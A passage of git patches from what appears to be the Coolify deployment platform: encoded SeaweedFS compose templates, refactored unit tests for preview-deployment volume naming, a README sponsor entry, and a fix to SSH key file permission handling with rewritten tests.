ETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php index 367770b08..0bf23e4e3 100644 --- a/tests/Unit/PreviewDeploymentBindMountTest.php +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -3,107 +3,174 @@ /** * Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments. * - * Bind mount volumes use a per-volume `is_preview_suffix_enabled` setting to control - * whether the -pr-N suffix is applied during preview deployments. - * When enabled (default), the suffix is applied for data isolation. - * When disabled, the volume path is shared with the main deployment. - * Named Docker volumes also respect this setting. + * Behavioral tests for addPreviewDeploymentSuffix and related helper functions. + * + * Note: The parser functions (applicationParser, serviceParser) and + * ApplicationDeploymentJob methods require database-persisted models with + * relationships (Application->destination->server, etc.), making them + * unsuitable for unit tests. Integration tests for those paths belong + * in tests/Feature/. */ -it('uses is_preview_suffix_enabled setting for bind mount suffix in preview deployments', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('addPreviewDeploymentSuffix', function () { + it('appends -pr-N suffix for non-zero pull request id', function () { + expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3'); + }); - // Find the bind mount handling block (type === 'bind') - $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); - $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); - $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); + it('returns name unchanged when pull request id is zero', function () { + expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume'); + }); - // Bind mount block should check is_preview_suffix_enabled before applying suffix - expect($bindBlock) - ->toContain('$isPreviewSuffixEnabled') - ->toContain('is_preview_suffix_enabled') - ->toContain('addPreviewDeploymentSuffix'); + it('handles pull request id of 1', function () { + expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1'); + }); + + it('handles large pull request ids', function () { + expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999'); + }); + + it('handles names with dots and slashes', function () { + expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2'); + }); + + it('handles names with existing hyphens', function () { + expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5'); + }); + + it('handles empty name with non-zero pr id', function () { + expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1'); + }); + + it('handles uuid-prefixed volume names', function () { + $uuid = 'abc123_my-volume'; + expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7'); + }); + + it('defaults pull_request_id to 0', function () { + expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume'); + }); }); -it('still applies preview deployment suffix to named volume paths', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('sourceIsLocal', function () { + it('detects relative paths starting with dot-slash', function () { + expect(sourceIsLocal(str('./scripts')))->toBeTrue(); + }); - // Find the named volume handling block (type === 'volume') - $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); - $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + it('detects absolute paths starting with slash', function () { + expect(sourceIsLocal(str('/var/data')))->toBeTrue(); + }); - // Named volumes SHOULD still get the -pr-N suffix for isolation - expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + it('detects tilde paths', function () { + expect(sourceIsLocal(str('~/data')))->toBeTrue(); + }); + + it('detects parent directory paths', function () { + expect(sourceIsLocal(str('../config')))->toBeTrue(); + }); + + it('returns false for named volumes', function () { + expect(sourceIsLocal(str('myvolume')))->toBeFalse(); + }); }); -it('confirms addPreviewDeploymentSuffix works correctly', function () { - $result = addPreviewDeploymentSuffix('myvolume', 3); - expect($result)->toBe('myvolume-pr-3'); +describe('replaceLocalSource', function () { + it('replaces dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('./scripts'), str('/app')); + expect((string) $result)->toBe('/app/scripts'); + }); - $result = addPreviewDeploymentSuffix('myvolume', 0); - expect($result)->toBe('myvolume'); + it('replaces dot-dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('../config'), str('/app')); + expect((string) $result)->toBe('/app./config'); + }); + + it('replaces tilde prefix with target path', function () { + $result = replaceLocalSource(str('~/data'), str('/app')); + expect((string) $result)->toBe('/app/data'); + }); }); /** - * Tests for GitHub issue #7343: $uuid mutation in label generation leaks into - * subsequent services' volume paths during preview deployments. + * Source-code structure tests for parser and deployment job. * - * The label generation block must use a local variable ($labelUuid) instead of - * mutating the shared $uuid variable, which is used for volume base paths. + * These verify that key code patterns exist in the parser and deployment job. + * They are intentionally text-based because the parser/deployment functions + * require database-persisted models with deep relationships, making behavioral + * unit tests impractical. Full behavioral coverage should be done via Feature tests. */ -it('does not mutate shared uuid variable during label generation', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('parser structure: bind mount handling', function () { + it('checks is_preview_suffix_enabled before applying suffix', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Find the FQDN label generation block - $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); - $labelBlock = substr($parsersFile, $labelBlockStart, 300); + $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); - // Should use $labelUuid, not mutate $uuid - expect($labelBlock) - ->toContain('$labelUuid = $resource->uuid') - ->not->toContain('$uuid = $resource->uuid') - ->not->toContain("\$uuid = \"{$resource->uuid}"); + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('applies preview suffix to named volumes', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + + expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + }); }); -it('uses labelUuid in all proxy label generation calls', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); +describe('parser structure: label generation uuid isolation', function () { + it('uses labelUuid instead of mutating shared uuid', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Find the FQDN label generation block (from shouldGenerateLabelsExactly to the closing brace) - $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); - $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); - $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); - // All uuid references in label functions should use $labelUuid - expect($labelBlock) - ->toContain('uuid: $labelUuid') - ->not->toContain('uuid: $uuid'); + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain('$uuid = "{$resource->uuid}'); + }); + + it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); + }); }); -it('checks is_preview_suffix_enabled in deployment job for persistent volumes', function () { - $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); +describe('deployment job structure: is_preview_suffix_enabled', function () { + it('checks setting in generate_local_persistent_volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - // Find the generate_local_persistent_volumes method - $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); - $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); - $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); - // Should check is_preview_suffix_enabled before applying suffix - expect($methodBlock) - ->toContain('is_preview_suffix_enabled') - ->toContain('$isPreviewSuffixEnabled') - ->toContain('addPreviewDeploymentSuffix'); -}); - -it('checks is_preview_suffix_enabled in deployment job for volume names', function () { - $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - - // Find the generate_local_persistent_volumes_only_volume_names method - $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); - $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); - $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); - - // Should check is_preview_suffix_enabled before applying suffix - expect($methodBlock) - ->toContain('is_preview_suffix_enabled') - ->toContain('$isPreviewSuffixEnabled') - ->toContain('addPreviewDeploymentSuffix'); + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('checks setting in generate_local_persistent_volumes_only_volume_names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); }); From b448322a0c371a17fb696f28bfeb298350a68201 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:22:42 +0100 Subject: [PATCH 220/305] docs(sponsors): add ScreenshotOne as a huge sponsor --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b2d622167..b7aefe16a 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,7 @@ ### Huge Sponsors * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API +* [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs * ### Big Sponsors From 6325e41aec29e5e02e16f0b8df0dbc1ae5b38531 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:27:10 +0100 Subject: [PATCH 221/305] fix(ssh): handle chmod failures gracefully and simplify key management - Log warnings instead of silently failing when chmod 0600 fails - Remove redundant refresh() call before SSH key validation - Remove storeInFileSystem() call from updatePrivateKey() transaction - Remove @unlink() of lock file after filesystem store - Refactor unit tests to use real temp disk and anonymous class stub instead of reflection-only checks --- app/Helpers/SshMultiplexingHelper.php | 9 +- app/Models/PrivateKey.php | 17 +- tests/Unit/SshKeyValidationTest.php | 267 ++++++++++++++------------ 3 files changed, 155 insertions(+), 138 deletions(-) diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index b9a3e98f3..aa9d06996 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -209,8 +209,6 @@ private static function isMultiplexingEnabled(): bool private static function validateSshKey(PrivateKey $privateKey): void { - $privateKey->refresh(); - $keyLocation = $privateKey->getKeyLocation(); $filename = "ssh_key@{$privateKey->uuid}"; $disk = Storage::disk('ssh-keys'); @@ -236,8 +234,11 @@ private static function validateSshKey(PrivateKey $privateKey): void // Ensure correct permissions (SSH requires 0600) if (file_exists($keyLocation)) { $currentPerms = fileperms($keyLocation) & 0777; - if ($currentPerms !== 0600) { - chmod($keyLocation, 0600); + if ($currentPerms !== 0600 && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $privateKey->uuid, + 'path' => $keyLocation, + ]); } } } diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index b453e999d..1521678f3 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -5,6 +5,7 @@ use App\Traits\HasSafeStringAttribute; use DanHarrin\LivewireRateLimiting\WithRateLimiting; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Validation\ValidationException; use OpenApi\Attributes as OA; @@ -71,7 +72,7 @@ protected static function booted() $key->storeInFileSystem(); refresh_server_connection($key); } catch (\Exception $e) { - \Illuminate\Support\Facades\Log::error('Failed to resync SSH key after update', [ + Log::error('Failed to resync SSH key after update', [ 'key_uuid' => $key->uuid, 'error' => $e->getMessage(), ]); @@ -235,15 +236,17 @@ public function storeInFileSystem() } // Ensure correct permissions for SSH (0600 required) - if (file_exists($keyLocation)) { - chmod($keyLocation, 0600); + if (file_exists($keyLocation) && ! chmod($keyLocation, 0600)) { + Log::warning('Failed to set SSH key file permissions to 0600', [ + 'key_uuid' => $this->uuid, + 'path' => $keyLocation, + ]); } return $keyLocation; } finally { flock($lockHandle, LOCK_UN); fclose($lockHandle); - @unlink($lockFile); } } @@ -291,12 +294,6 @@ public function updatePrivateKey(array $data) return DB::transaction(function () use ($data) { $this->update($data); - try { - $this->storeInFileSystem(); - } catch (\Exception $e) { - throw new \Exception('Failed to update SSH key: '.$e->getMessage()); - } - return $this; }); } diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php index fbcf7725d..adc6847d1 100644 --- a/tests/Unit/SshKeyValidationTest.php +++ b/tests/Unit/SshKeyValidationTest.php @@ -20,126 +20,26 @@ */ class SshKeyValidationTest extends TestCase { - public function test_validate_ssh_key_method_exists() + private string $diskRoot; + + protected function setUp(): void { - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $this->assertTrue($reflection->isStatic(), 'validateSshKey should be a static method'); - } + parent::setUp(); - public function test_validate_ssh_key_accepts_private_key_parameter() - { - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $parameters = $reflection->getParameters(); - - $this->assertCount(1, $parameters); - $this->assertEquals('privateKey', $parameters[0]->getName()); - - $type = $parameters[0]->getType(); - $this->assertNotNull($type); - $this->assertEquals(PrivateKey::class, $type->getName()); - } - - public function test_store_in_file_system_sets_correct_permissions() - { - // Verify that storeInFileSystem enforces chmod 0600 via code inspection - $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); - $this->assertTrue( - $reflection->isPublic(), - 'storeInFileSystem should be public' - ); - - // Verify the method source contains chmod for 0600 - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString('chmod', $source, 'storeInFileSystem should set file permissions'); - $this->assertStringContainsString('0600', $source, 'storeInFileSystem should enforce 0600 permissions'); - } - - public function test_store_in_file_system_uses_file_locking() - { - // Verify the method uses flock to prevent race conditions - $reflection = new \ReflectionMethod(PrivateKey::class, 'storeInFileSystem'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString('flock', $source, 'storeInFileSystem should use file locking'); - $this->assertStringContainsString('LOCK_EX', $source, 'storeInFileSystem should use exclusive locks'); - } - - public function test_validate_ssh_key_checks_content_not_just_existence() - { - // Verify validateSshKey compares file content with DB value - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - // Should read file content and compare, not just check existence with `ls` - $this->assertStringNotContainsString('ls $keyLocation', $source, 'Should not use ls to check key existence'); - $this->assertStringContainsString('private_key', $source, 'Should compare against DB key content'); - $this->assertStringContainsString('refresh', $source, 'Should refresh key from database'); - } - - public function test_server_model_detects_private_key_id_changes() - { - // Verify the Server model's saved event checks for private_key_id changes - $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString( - 'wasChanged', - $source, - 'Server saved event should detect private_key_id changes via wasChanged()' - ); - $this->assertStringContainsString( - 'private_key_id', - $source, - 'Server saved event should specifically check private_key_id' - ); - } - - public function test_private_key_saved_event_resyncs_on_key_change() - { - // Verify PrivateKey model resyncs file and mux on key content change - $reflection = new \ReflectionMethod(PrivateKey::class, 'booted'); - $filename = $reflection->getFileName(); - $startLine = $reflection->getStartLine(); - $endLine = $reflection->getEndLine(); - $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); - - $this->assertStringContainsString( - "wasChanged('private_key')", - $source, - 'PrivateKey saved event should detect key content changes' - ); - $this->assertStringContainsString( - 'refresh_server_connection', - $source, - 'PrivateKey saved event should invalidate mux connections' - ); - $this->assertStringContainsString( - 'storeInFileSystem', - $source, - 'PrivateKey saved event should resync key file' - ); - } - - public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() - { - $diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); - File::ensureDirectoryExists($diskRoot); - config(['filesystems.disks.ssh-keys.root' => $diskRoot]); + $this->diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); + File::ensureDirectoryExists($this->diskRoot); + config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]); app('filesystem')->forgetDisk('ssh-keys'); + } + protected function tearDown(): void + { + File::deleteDirectory($this->diskRoot); + parent::tearDown(); + } + + private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey + { $privateKey = new class extends PrivateKey { public int $storeCallCount = 0; @@ -168,22 +68,141 @@ public function storeInFileSystem() }; $privateKey->uuid = (string) Str::uuid(); - $privateKey->private_key = 'NEW_PRIVATE_KEY_CONTENT'; + $privateKey->private_key = $keyContent; + + return $privateKey; + } + + private function callValidateSshKey(PrivateKey $privateKey): void + { + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $reflection->setAccessible(true); + $reflection->invoke(null, $privateKey); + } + + public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() + { + $privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT'); $filename = "ssh_key@{$privateKey->uuid}"; $disk = Storage::disk('ssh-keys'); $disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT'); - $staleKeyPath = $disk->path($filename); - chmod($staleKeyPath, 0644); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); - $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); - $reflection->setAccessible(true); - $reflection->invoke(null, $privateKey); + $this->callValidateSshKey($privateKey); $this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename)); $this->assertSame(1, $privateKey->storeCallCount); - $this->assertSame(0600, fileperms($staleKeyPath) & 0777); + $this->assertSame(0600, fileperms($keyPath) & 0777); + } - File::deleteDirectory($diskRoot); + public function test_validate_ssh_key_creates_missing_file() + { + $privateKey = $this->makePrivateKey('MY_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $this->assertFalse($disk->exists($filename)); + + $this->callValidateSshKey($privateKey); + + $this->assertTrue($disk->exists($filename)); + $this->assertSame('MY_KEY_CONTENT', $disk->get($filename)); + $this->assertSame(1, $privateKey->storeCallCount); + } + + public function test_validate_ssh_key_skips_rewrite_when_content_matches() + { + $privateKey = $this->makePrivateKey('SAME_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'SAME_KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0600); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame('SAME_KEY_CONTENT', $disk->get($filename)); + } + + public function test_validate_ssh_key_fixes_permissions_without_rewrite() + { + $privateKey = $this->makePrivateKey('KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite'); + } + + public function test_store_in_file_system_enforces_correct_permissions() + { + $privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST'); + $privateKey->storeInFileSystem(); + + $filename = "ssh_key@{$privateKey->uuid}"; + $keyPath = Storage::disk('ssh-keys')->path($filename); + + $this->assertSame(0600, fileperms($keyPath) & 0777); + } + + public function test_store_in_file_system_lock_file_persists() + { + // Use the real storeInFileSystem to verify lock file behavior + $disk = Storage::disk('ssh-keys'); + $uuid = (string) Str::uuid(); + $filename = "ssh_key@{$uuid}"; + $keyLocation = $disk->path($filename); + $lockFile = $keyLocation.'.lock'; + + $privateKey = new class extends PrivateKey + { + public function refresh() + { + return $this; + } + + public function getKeyLocation() + { + return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}"); + } + + protected function ensureStorageDirectoryExists() + { + // No-op in test — directory already exists + } + }; + + $privateKey->uuid = $uuid; + $privateKey->private_key = 'LOCK_TEST_KEY'; + + $privateKey->storeInFileSystem(); + + // Lock file should persist (not be deleted) to prevent flock race conditions + $this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem'); + } + + public function test_server_model_detects_private_key_id_changes() + { + $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString( + "wasChanged('private_key_id')", + $source, + 'Server saved event should detect private_key_id changes' + ); } } From ed3b5d096c06434775c144f27cfbf0bc88eb71b7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai 